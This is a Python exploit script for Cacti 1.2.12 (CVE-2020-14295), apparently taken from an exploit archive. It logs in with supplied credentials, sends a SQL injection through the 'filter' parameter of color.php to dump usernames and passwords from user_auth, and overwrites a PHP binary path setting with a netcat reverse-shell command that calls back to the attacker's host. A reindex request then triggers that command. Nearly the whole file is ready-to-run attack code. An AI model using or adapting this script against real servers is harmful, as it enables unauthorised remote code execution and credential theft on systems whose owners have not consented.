92 lines
No EOL
3.2 KiB
Python
Executable file
92 lines
No EOL
3.2 KiB
Python
Executable file
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
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# Date: 04/28/2021
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# Exploit Author: Leonardo Paiva
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# Vendor Homepage: https://www.cacti.net/
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# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
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# Version: 1.2.12
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# Tested on: Ubuntu 20.04
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# CVE : CVE-2020-14295
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# Credits: @M4yFly (https://twitter.com/M4yFly)
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# References:
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# https://github.commandcom/Cacti/cacti/issues/3622
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# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295
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#!/usr/bin/python3
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import argparse
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import requests
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import sys
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import urllib.parse
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from bs4 import BeautifulSoup
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# proxies = {'http': 'http://127.0.0.1:8080'}
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def login(url, username, password, session):
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print("[+] Connecting to the server...")
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get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)
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print("[+] Retrieving CSRF token...")
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html_content = get_token_request.text
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soup = BeautifulSoup(html_content, 'html.parser')
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csrf_token = soup.find_all('input')[0].get('value').split(';')[0]
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if csrf_token:
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print(f"[+] Got CSRF token: {csrf_token}")
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print("[+] Trying to log in...")
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data = {
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'__csrf_magic': csrf_token,
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'action': 'login',
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'login_username': username,
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'login_password': password
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}
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login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
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if "Invalid User Name/Password Please Retype" in login_request.text:
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print("[-] Unable to log in. Check your credentials")
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sys.exit()
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else:
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print("[+] Successfully logged in!")
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else:
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print("[-] Unable to retrieve CSRF token!")
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sys.exit()
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def exploit(lhost, lport, session):
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rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
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payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"
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exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)
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print("\n[+] SQL Injection:")
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print(exploit_request.text)
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try:
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session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
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except Exception:
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pass
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print("[+] Check your nc listener!")
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if __name__ == '__main__':
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parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')
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parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
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parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
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parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
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parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
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parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
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args = parser.parse_args()
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url = args.t
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username = args.u
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password = args.p
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lhost = args.lhost
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lport = args.lport
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session = requests.Session()
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login(url, username, password, session)
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exploit(lhost, lport, session) |